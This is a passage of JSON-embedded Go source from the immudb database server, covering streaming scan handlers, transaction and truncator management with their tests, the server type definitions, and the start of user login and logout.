kvsr.Send(kv)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// StreamZScan ...\nfunc (s *ImmuServer) StreamZScan(request *schema.ZScanRequest, server schema.ImmuService_StreamZScanServer) error {\n\tdb, err := s.getDBFromCtx(server.Context(), \"ZScan\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tr, err := db.ZScan(server.Context(), request)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tzss := s.StreamServiceFactory.NewZStreamSender(s.StreamServiceFactory.NewMsgSender(server))\n\n\tfor _, e := range r.Entries {\n\t\tscoreBs, err := stream.NumberToBytes(e.Score)\n\t\tif err != nil {\n\t\t\ts.Logger.Errorf(\"StreamZScan error: could not convert score %f to bytes: %v\", e.Score, err)\n\t\t}\n\n\t\tatTxBs, err := stream.NumberToBytes(e.AtTx)\n\t\tif err != nil {\n\t\t\ts.Logger.Errorf(\"StreamZScan error: could not convert atTx %d to bytes: %v\", e.AtTx, err)\n\t\t}\n\n\t\tze := &stream.ZEntry{\n\t\t\tSet: &stream.ValueSize{\n\t\t\t\tContent: bufio.NewReader(bytes.NewBuffer(e.Set)),\n\t\t\t\tSize:    len(e.Set),\n\t\t\t},\n\t\t\tKey: &stream.ValueSize{\n\t\t\t\tContent: bufio.NewReader(bytes.NewBuffer(e.Key)),\n\t\t\t\tSize:    len(e.Key),\n\t\t\t},\n\t\t\tScore: &stream.ValueSize{\n\t\t\t\tContent: bufio.NewReader(bytes.NewBuffer(scoreBs)),\n\t\t\t\tSize:    len(scoreBs),\n\t\t\t},\n\t\t\tAtTx: &stream.ValueSize{\n\t\t\t\tContent: bufio.NewReader(bytes.NewBuffer(atTxBs)),\n\t\t\t\tSize:    len(atTxBs),\n\t\t\t},\n\t\t\tValue: &stream.ValueSize{\n\t\t\t\tContent: bufio.NewReader(bytes.NewBuffer(e.Entry.Value)),\n\t\t\t\tSize:    len(e.Entry.Value),\n\t\t\t},\n\t\t}\n\n\t\terr = zss.Send(ze)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (s *ImmuServer) StreamHistory(request *schema.HistoryRequest, server schema.ImmuService_StreamHistoryServer) error {\n\tdb, err := s.getDBFromCtx(server.Context(), \"History\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tr, err := db.History(server.Context(), request)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tkvsr := s.StreamServiceFactory.NewKvStreamSender(s.StreamServiceFactory.NewMsgSender(server))\n\n\tfor _, e := range r.Entries {\n\t\tkv := &stream.KeyValue{\n\t\t\tKey: &stream.ValueSize{\n\t\t\t\tContent: bufio.NewReader(bytes.NewBuffer(e.Key)),\n\t\t\t\tSize:    len(e.Key),\n\t\t\t},\n\t\t\tValue: &stream.ValueSize{\n\t\t\t\tContent: bufio.NewReader(bytes.NewBuffer(e.Value)),\n\t\t\t\tSize:    len(e.Value),\n\t\t\t},\n\t\t}\n\n\t\terr = kvsr.Send(kv)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (s *ImmuServer) StreamExecAll(str schema.ImmuService_StreamExecAllServer) error {\n\tif s.Options.GetMaintenance() {\n\t\treturn ErrNotAllowedInMaintenanceMode\n\t}\n\n\tdb, err := s.getDBFromCtx(str.Context(), \"StreamSet\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsops := []*schema.Op{}\n\teas := s.StreamServiceFactory.NewExecAllStreamReceiver(s.StreamServiceFactory.NewMsgReceiver(str))\n\tfor {\n\t\top, err := eas.Next()\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\n\t\tswitch x := op.(type) {\n\t\tcase *stream.Op_KeyValue:\n\t\t\tkey, err := stream.ReadValue(x.KeyValue.Key.Content, s.Options.StreamChunkSize)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tvalue, err := stream.ReadValue(x.KeyValue.Value.Content, s.Options.StreamChunkSize)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tsop := &schema.Op{Operation: &schema.Op_Kv{\n\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\tKey:   key,\n\t\t\t\t\tValue: value,\n\t\t\t\t},\n\t\t\t},\n\t\t\t}\n\t\t\tsops = append(sops, sop)\n\t\tcase *stream.Op_ZAdd:\n\t\t\tsop := &schema.Op{Operation: &schema.Op_ZAdd{\n\t\t\t\tZAdd: x.ZAdd,\n\t\t\t},\n\t\t\t}\n\t\t\tsops = append(sops, sop)\n\t\t}\n\t}\n\n\ttxhdr, err := db.ExecAll(str.Context(), &schema.ExecAllRequest{Operations: sops})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = str.SendAndClose(txhdr)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/server/transaction.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/server/sessions\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n)\n\n// BeginTx creates a new transaction. Only one read-write transaction per session can be active at a time.\nfunc (s *ImmuServer) NewTx(ctx context.Context, request *schema.NewTxRequest) (*schema.NewTxResponse, error) {\n\tif request == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\tif s.Options.GetMaintenance() {\n\t\treturn nil, ErrNotAllowedInMaintenanceMode\n\t}\n\n\tif request.Mode == schema.TxMode_WriteOnly {\n\t\t// only in key-value mode, in sql we read catalog and write to it\n\t\treturn nil, sessions.ErrWriteOnlyTXNotAllowed\n\t}\n\n\tsess, err := s.SessManager.GetSessionFromContext(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\topts := sql.DefaultTxOptions().\n\t\tWithReadOnly(request.Mode == schema.TxMode_ReadOnly)\n\n\tif request.SnapshotMustIncludeTxID != nil {\n\t\topts.WithSnapshotMustIncludeTxID(func(_ uint64) uint64 {\n\t\t\treturn request.SnapshotMustIncludeTxID.GetValue()\n\t\t})\n\t}\n\n\tif request.SnapshotRenewalPeriod != nil {\n\t\topts.WithSnapshotRenewalPeriod(time.Duration(request.SnapshotRenewalPeriod.GetValue()) * time.Millisecond)\n\t}\n\n\topts.UnsafeMVCC = request.UnsafeMVCC\n\n\ttx, err := sess.NewTransaction(ctx, opts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &schema.NewTxResponse{TransactionID: tx.GetID()}, nil\n}\n\nfunc (s *ImmuServer) Commit(ctx context.Context, _ *empty.Empty) (*schema.CommittedSQLTx, error) {\n\tif s.Options.GetMaintenance() {\n\t\treturn nil, ErrNotAllowedInMaintenanceMode\n\t}\n\n\ttx, err := s.SessManager.GetTransactionFromContext(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcTxs, err := s.SessManager.CommitTransaction(ctx, tx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcTx := cTxs[0]\n\tlastPKs := make(map[string]*schema.SQLValue, len(cTx.LastInsertedPKs()))\n\tfor k, n := range cTx.LastInsertedPKs() {\n\t\tlastPKs[k] = &schema.SQLValue{Value: &schema.SQLValue_N{N: n}}\n\t}\n\n\treturn &schema.CommittedSQLTx{\n\t\tHeader:          schema.TxHeaderToProto(cTx.TxHeader()),\n\t\tUpdatedRows:     uint32(cTx.UpdatedRows()),\n\t\tLastInsertedPKs: lastPKs,\n\t}, nil\n}\n\nfunc (s *ImmuServer) Rollback(ctx context.Context, _ *empty.Empty) (*empty.Empty, error) {\n\tif s.Options.GetMaintenance() {\n\t\treturn nil, ErrNotAllowedInMaintenanceMode\n\t}\n\n\ttx, err := s.SessManager.GetTransactionFromContext(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn new(empty.Empty), s.SessManager.RollbackTransaction(tx)\n}\n\nfunc (s *ImmuServer) TxSQLExec(ctx context.Context, request *schema.SQLExecRequest) (*empty.Empty, error) {\n\tif request == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tif s.Options.GetMaintenance() {\n\t\treturn new(empty.Empty), ErrNotAllowedInMaintenanceMode\n\t}\n\n\ttx, err := s.SessManager.GetTransactionFromContext(ctx)\n\tif err != nil {\n\t\treturn new(empty.Empty), err\n\t}\n\n\tres := tx.SQLExec(ctx, request)\n\n\tif tx.IsClosed() {\n\t\ts.SessManager.DeleteTransaction(tx)\n\t}\n\n\treturn new(empty.Empty), res\n}\n\nfunc (s *ImmuServer) TxSQLQuery(req *schema.SQLQueryRequest, srv schema.ImmuService_TxSQLQueryServer) error {\n\tif req == nil {\n\t\treturn ErrIllegalArguments\n\t}\n\tif s.Options.GetMaintenance() {\n\t\treturn ErrNotAllowedInMaintenanceMode\n\t}\n\n\ttx, err := s.SessManager.GetTransactionFromContext(srv.Context())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treader, err := tx.SQLQuery(srv.Context(), req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer reader.Close()\n\n\treturn s.streamRows(context.Background(), reader, tx.Database().MaxResultSize(), srv.Send)\n}\n"
  },
  {
    "path": "pkg/server/transaction_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/protobuf/types/known/emptypb\"\n)\n\nfunc TestImmuServer_Transaction(t *testing.T) {\n\tdir := t.TempDir()\n\n\ts := DefaultServer()\n\n\ts.WithOptions(DefaultOptions().WithDir(dir).WithMaintenance(true))\n\n\t_, err := s.NewTx(context.Background(), nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = s.NewTx(context.Background(), &schema.NewTxRequest{Mode: schema.TxMode_ReadWrite})\n\trequire.ErrorIs(t, err, ErrNotAllowedInMaintenanceMode)\n\n\t_, err = s.Commit(context.Background(), &emptypb.Empty{})\n\trequire.ErrorIs(t, err, ErrNotAllowedInMaintenanceMode)\n\n\t_, err = s.Rollback(context.Background(), &emptypb.Empty{})\n\trequire.ErrorIs(t, err, ErrNotAllowedInMaintenanceMode)\n\n\t_, err = s.TxSQLExec(context.Background(), nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = s.TxSQLExec(context.Background(), &schema.SQLExecRequest{})\n\trequire.ErrorIs(t, err, ErrNotAllowedInMaintenanceMode)\n\n\terr = s.TxSQLQuery(nil, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\terr = s.TxSQLQuery(&schema.SQLQueryRequest{}, nil)\n\trequire.ErrorIs(t, err, ErrNotAllowedInMaintenanceMode)\n}\n"
  },
  {
    "path": "pkg/server/truncator.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/codenotary/immudb/pkg/truncator\"\n)\n\nfunc (s *ImmuServer) isTruncatorRunningFor(db string) bool {\n\t_, ok := s.truncators[db]\n\treturn ok\n}\n\nfunc (s *ImmuServer) startTruncatorFor(db database.DB, dbOpts *dbOptions) error {\n\tif !dbOpts.isDataRetentionEnabled() {\n\t\ts.Logger.Infof(\"Truncation for database '%s' is not required.\", db.GetName())\n\t\treturn ErrTruncatorNotNeeded\n\t}\n\n\ts.truncatorMutex.Lock()\n\tdefer s.truncatorMutex.Unlock()\n\n\tif s.isTruncatorRunningFor(db.GetName()) {\n\t\treturn database.ErrTruncatorAlreadyRunning\n\t}\n\n\trp := time.Millisecond * time.Duration(dbOpts.RetentionPeriod)\n\ttf := time.Millisecond * time.Duration(dbOpts.TruncationFrequency)\n\n\tt := truncator.NewTruncator(db, rp, tf, s.Logger)\n\terr := t.Start()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ts.truncators[db.GetName()] = t\n\n\treturn nil\n}\n\nfunc (s *ImmuServer) stopTruncatorFor(db string) error {\n\ts.truncatorMutex.Lock()\n\tdefer s.truncatorMutex.Unlock()\n\n\tt, ok := s.truncators[db]\n\tif !ok {\n\t\treturn ErrTruncatorNotInProgress\n\t}\n\n\terr := t.Stop()\n\tif err == truncator.ErrTruncatorAlreadyStopped {\n\t\treturn nil\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdelete(s.truncators, db)\n\n\treturn nil\n}\n\nfunc (s *ImmuServer) stopTruncation() {\n\ts.truncatorMutex.Lock()\n\tdefer s.truncatorMutex.Unlock()\n\n\tfor db, f := range s.truncators {\n\t\terr := f.Stop()\n\t\tif err != nil {\n\t\t\ts.Logger.Warningf(\"Error stopping truncator for '%s'. Reason: %v\", db, err)\n\t\t} else {\n\t\t\tdelete(s.truncators, db)\n\t\t}\n\t}\n}\n\nfunc (s *ImmuServer) getTruncatorFor(db string) (*truncator.Truncator, error) {\n\ts.truncatorMutex.Lock()\n\tdefer s.truncatorMutex.Unlock()\n\n\tt, ok := s.truncators[db]\n\tif !ok {\n\t\treturn nil, ErrTruncatorDoesNotExist\n\t}\n\n\treturn t, nil\n}\n"
  },
  {
    "path": "pkg/server/truncator_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc/metadata\"\n)\n\nfunc TestServerTruncator(t *testing.T) {\n\tserverOptions := DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword).\n\t\tWithAuth(true).\n\t\tWithPort(3324)\n\n\ts, closer := testServer(serverOptions)\n\tdefer closer()\n\n\terr := s.Initialize()\n\trequire.NoError(t, err)\n\n\tr := &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t}\n\n\tctx := context.Background()\n\tlr, err := s.Login(ctx, r)\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\tdt := 24 * time.Hour\n\tnewdb := &schema.CreateDatabaseRequest{\n\t\tName: \"db\",\n\t\tSettings: &schema.DatabaseNullableSettings{\n\t\t\tTruncationSettings: &schema.TruncationNullableSettings{\n\t\t\t\tRetentionPeriod:     &schema.NullableMilliseconds{Value: dt.Milliseconds()},\n\t\t\t\tTruncationFrequency: &schema.NullableMilliseconds{Value: dt.Milliseconds()},\n\t\t\t},\n\t\t},\n\t}\n\n\t_, err = s.CreateDatabaseV2(ctx, newdb)\n\trequire.NoError(t, err)\n\n\tdb, err := s.dbList.GetByName(\"db\")\n\trequire.NoError(t, err)\n\tdbOpts, err := s.loadDBOptions(\"db\", false)\n\trequire.NoError(t, err)\n\n\terr = s.startTruncatorFor(db, dbOpts)\n\trequire.ErrorIs(t, err, database.ErrTruncatorAlreadyRunning)\n\n\terr = s.stopTruncatorFor(db.GetName())\n\trequire.NoError(t, err)\n\n\terr = s.stopTruncatorFor(\"db2\")\n\trequire.ErrorIs(t, err, ErrTruncatorNotInProgress)\n\n\terr = s.startTruncatorFor(db, dbOpts)\n\trequire.NoError(t, err)\n\n\t_, err = s.getTruncatorFor(db.GetName())\n\trequire.NoError(t, err)\n\n\ts.stopTruncation()\n\n\t_, err = s.getTruncatorFor(\"db3\")\n\trequire.ErrorIs(t, ErrTruncatorDoesNotExist, err)\n}\n\nfunc TestServerLoadDatabaseWithRetention(t *testing.T) {\n\tdir := t.TempDir()\n\n\tserverOptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword)\n\n\ts := DefaultServer().WithOptions(serverOptions).(*ImmuServer)\n\n\ts.Initialize()\n\n\tr := &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t}\n\tctx := context.Background()\n\tlr, err := s.Login(ctx, r)\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\tdt := 24 * time.Hour\n\tnewdb := &schema.CreateDatabaseRequest{\n\t\tName: testDatabase,\n\t\tSettings: &schema.DatabaseNullableSettings{\n\t\t\tTruncationSettings: &schema.TruncationNullableSettings{\n\t\t\t\tRetentionPeriod:     &schema.NullableMilliseconds{Value: dt.Milliseconds()},\n\t\t\t\tTruncationFrequency: &schema.NullableMilliseconds{Value: dt.Milliseconds()},\n\t\t\t},\n\t\t},\n\t}\n\t_, err = s.CreateDatabaseV2(ctx, newdb)\n\trequire.NoError(t, err)\n\n\terr = s.CloseDatabases()\n\trequire.NoError(t, err)\n\n\ts.dbList = database.NewDatabaseList(database.NewDBManager(func(name string, opts *database.Options) (database.DB, error) {\n\t\treturn database.OpenDB(name, s.multidbHandler(), opts, s.Logger)\n\t}, 10, logger.NewMemoryLogger()))\n\ts.sysDB = nil\n\n\tt.Run(\"attempt to load database should pass\", func(t *testing.T) {\n\t\terr = s.loadSystemDatabase(s.Options.Dir, nil, auth.SysAdminPassword, false)\n\t\trequire.NoError(t, err)\n\n\t\terr = s.loadDefaultDatabase(s.Options.Dir, nil)\n\t\trequire.NoError(t, err)\n\n\t\terr = s.loadUserDatabases(s.Options.Dir, nil)\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"attempt to unload user database should pass\", func(t *testing.T) {\n\t\t_, err = s.UnloadDatabase(ctx, &schema.UnloadDatabaseRequest{Database: testDatabase})\n\t\trequire.NoError(t, err)\n\t})\n}\n"
  },
  {
    "path": "pkg/server/types.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"math\"\n\t\"net\"\n\t\"net/http\"\n\t\"os\"\n\t\"sync\"\n\n\t\"github.com/codenotary/immudb/pkg/server/sessions\"\n\t\"github.com/codenotary/immudb/pkg/truncator\"\n\n\t\"github.com/codenotary/immudb/embedded/remotestorage\"\n\tpgsqlsrv \"github.com/codenotary/immudb/pkg/pgsql/server\"\n\t\"github.com/codenotary/immudb/pkg/replication\"\n\t\"github.com/codenotary/immudb/pkg/stream\"\n\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/rs/xid\"\n\n\t\"google.golang.org/grpc\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/immuos\"\n)\n\n// usernameToUserdataMap keeps an associacion of username to userdata\ntype usernameToUserdataMap struct {\n\tUserdata map[string]*auth.User\n\tsync.RWMutex\n}\n\n// defaultDbIndex systemdb should always be in index 0\nconst (\n\tdefaultDbIndex = 0\n\tsysDBIndex     = math.MaxInt32\n)\n\n// ImmuServer ...\ntype ImmuServer struct {\n\tOS immuos.OS\n\n\tdbListMutex sync.Mutex\n\tdbList      database.DatabaseList\n\n\treplicators      map[string]*replication.TxReplicator\n\treplicationMutex sync.Mutex\n\n\ttruncators     map[string]*truncator.Truncator\n\ttruncatorMutex sync.Mutex\n\n\tLogger      logger.Logger\n\tOptions     *Options\n\tListener    net.Listener\n\tGrpcServer  *grpc.Server\n\tUUID        xid.ID\n\tPid         PIDFile\n\tquit        chan struct{}\n\tuserdata    *usernameToUserdataMap\n\tmultidbmode bool\n\t//Cc                  CorruptionChecker\n\tsysDB                database.DB\n\tmetricsServer        *http.Server\n\twebServer            *http.Server\n\tmux                  sync.Mutex\n\tpgsqlMux             sync.Mutex\n\tStateSigner          StateSigner\n\tStreamServiceFactory stream.ServiceFactory\n\tPgsqlSrv             pgsqlsrv.PGSQLServer\n\n\tremoteStorage remotestorage.Storage\n\tSessManager   sessions.Manager\n}\n\n// DefaultServer returns a new ImmuServer instance with all configuration options set to their default values.\nfunc DefaultServer() *ImmuServer {\n\ts := &ImmuServer{\n\t\tOS:                   immuos.NewStandardOS(),\n\t\treplicators:          make(map[string]*replication.TxReplicator),\n\t\ttruncators:           make(map[string]*truncator.Truncator),\n\t\tLogger:               logger.NewSimpleLogger(\"immudb \", os.Stderr),\n\t\tOptions:              DefaultOptions(),\n\t\tquit:                 make(chan struct{}),\n\t\tuserdata:             &usernameToUserdataMap{Userdata: make(map[string]*auth.User)},\n\t\tGrpcServer:           grpc.NewServer(),\n\t\tStreamServiceFactory: stream.NewStreamServiceFactory(DefaultOptions().StreamChunkSize),\n\t}\n\n\ts.dbList = database.NewDatabaseList(database.NewDBManager(func(name string, opts *database.Options) (database.DB, error) {\n\t\treturn database.OpenDB(name, s.multidbHandler(), opts, s.Logger)\n\t}, s.Options.MaxActiveDatabases, s.Logger))\n\treturn s\n}\n\ntype ImmuServerIf interface {\n\tInitialize() error\n\tStart() error\n\tStop() error\n\tWithOptions(options *Options) ImmuServerIf\n\tWithLogger(logger.Logger) ImmuServerIf\n\tWithStateSigner(stateSigner StateSigner) ImmuServerIf\n\tWithStreamServiceFactory(ssf stream.ServiceFactory) ImmuServerIf\n\tWithPgsqlServer(psrv pgsqlsrv.PGSQLServer) ImmuServerIf\n\tWithDbList(dbList database.DatabaseList) ImmuServerIf\n}\n\n// WithLogger ...\nfunc (s *ImmuServer) WithLogger(logger logger.Logger) ImmuServerIf {\n\ts.Logger = logger\n\treturn s\n}\n\n// WithStateSigner ...\nfunc (s *ImmuServer) WithStateSigner(stateSigner StateSigner) ImmuServerIf {\n\ts.StateSigner = stateSigner\n\treturn s\n}\n\nfunc (s *ImmuServer) WithStreamServiceFactory(ssf stream.ServiceFactory) ImmuServerIf {\n\ts.StreamServiceFactory = ssf\n\treturn s\n}\n\n// WithOptions ...\nfunc (s *ImmuServer) WithOptions(options *Options) ImmuServerIf {\n\ts.Options = options\n\treturn s\n}\n\n// WithPgsqlServer ...\nfunc (s *ImmuServer) WithPgsqlServer(psrv pgsqlsrv.PGSQLServer) ImmuServerIf {\n\ts.PgsqlSrv = psrv\n\treturn s\n}\n\n// WithDbList ...\nfunc (s *ImmuServer) WithDbList(dbList database.DatabaseList) ImmuServerIf {\n\ts.dbList = dbList\n\treturn s\n}\n"
  },
  {
    "path": "pkg/server/types_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/codenotary/immudb/pkg/stream\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestWithLogger(t *testing.T) {\n\tdir := t.TempDir()\n\n\tlogger := &mockLogger{}\n\n\ts := DefaultServer()\n\ts.WithOptions(DefaultOptions().WithDir(dir))\n\trequire.NotSame(t, logger, s.Logger)\n\n\ts.WithLogger(logger)\n\trequire.Same(t, logger, s.Logger)\n}\n\nfunc TestWithStreamServiceFactory(t *testing.T) {\n\tdir := t.TempDir()\n\n\tstreamServiceFactory := stream.NewStreamServiceFactory(4096)\n\n\ts := DefaultServer()\n\ts.WithOptions(DefaultOptions().WithDir(dir))\n\trequire.NotSame(t, streamServiceFactory, s.StreamServiceFactory)\n\n\ts.WithStreamServiceFactory(streamServiceFactory)\n\trequire.Same(t, streamServiceFactory, s.StreamServiceFactory)\n}\n\nfunc TestWithDbList(t *testing.T) {\n\tdir := t.TempDir()\n\n\tdbList := database.NewDatabaseList(nil)\n\n\ts := DefaultServer()\n\ts.WithOptions(DefaultOptions().WithDir(dir))\n\trequire.NotSame(t, dbList, s.dbList)\n\n\ts.WithDbList(dbList)\n\trequire.Same(t, dbList, s.dbList)\n}\n"
  },
  {
    "path": "pkg/server/user.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/codenotary/immudb/pkg/server/sessions\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/errors\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/status\"\n)\n\n// Login ...\nfunc (s *ImmuServer) Login(ctx context.Context, r *schema.LoginRequest) (*schema.LoginResponse, error) {\n\tif !s.Options.auth {\n\t\treturn nil, errors.New(ErrAuthDisabled).WithCode(errors.CodProtocolViolation)\n\t}\n\n\tu, err := s.getValidatedUser(ctx, r.User, r.Password)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, ErrInvalidUsernameOrPassword)\n\t}\n\n\tif !u.Active {\n\t\treturn nil, errors.New(ErrUserNotActive)\n\t}\n\n\tvar token string\n\n\tif s.multidbmode {\n\t\t//-1 no database yet, must exec the \"use\" (UseDatabase) command first\n\t\ttoken, err = auth.GenerateToken(*u, -1, s.Options.TokenExpiryTimeMin)\n\t} else {\n\t\ttoken, err = auth.GenerateToken(*u, defaultDbIndex, s.Options.TokenExpiryTimeMin)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tloginResponse := &schema.LoginResponse{Token: token}\n\tif u.Username == auth.SysAdminUsername && string(r.GetPassword()) == auth.SysAdminPassword {\n\t\tloginResponse.Warning = []byte(auth.WarnDefaultAdminPassword)\n\t}\n\n\tif u.Username == auth.SysAdminUsername {\n\t\tu.IsSysAdmin = true\n\t}\n\n\t//add user to loggedin list\n\ts.addUserToLoginList(u)\n\n\treturn loginResponse, nil\n}\n\n// Logout ...\nfunc (s *ImmuServer) Logout(ctx context.Context, r *empty.Empty) (*empty.Empty, error) {\n\tif !s.Options.auth {\n\t\treturn nil, errors.New(ErrAuthDisabled).WithCode(errors.CodProtocolViolation)\n\t}\n\n\t_, user, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// remove user from loggedin users\n\ts.removeUserFromLoginList(user.Username)\n\n\t// invalidate the token for this user\n\t_, err = auth.DropTokenKeysForCtx(ctx)\n\n\treturn new(empty.Empty), err\n}\n\n// CreateUser Creates a new user\nfunc (s *ImmuServer) CreateUser(ctx context.Context, r *schema.CreateUserRequest) 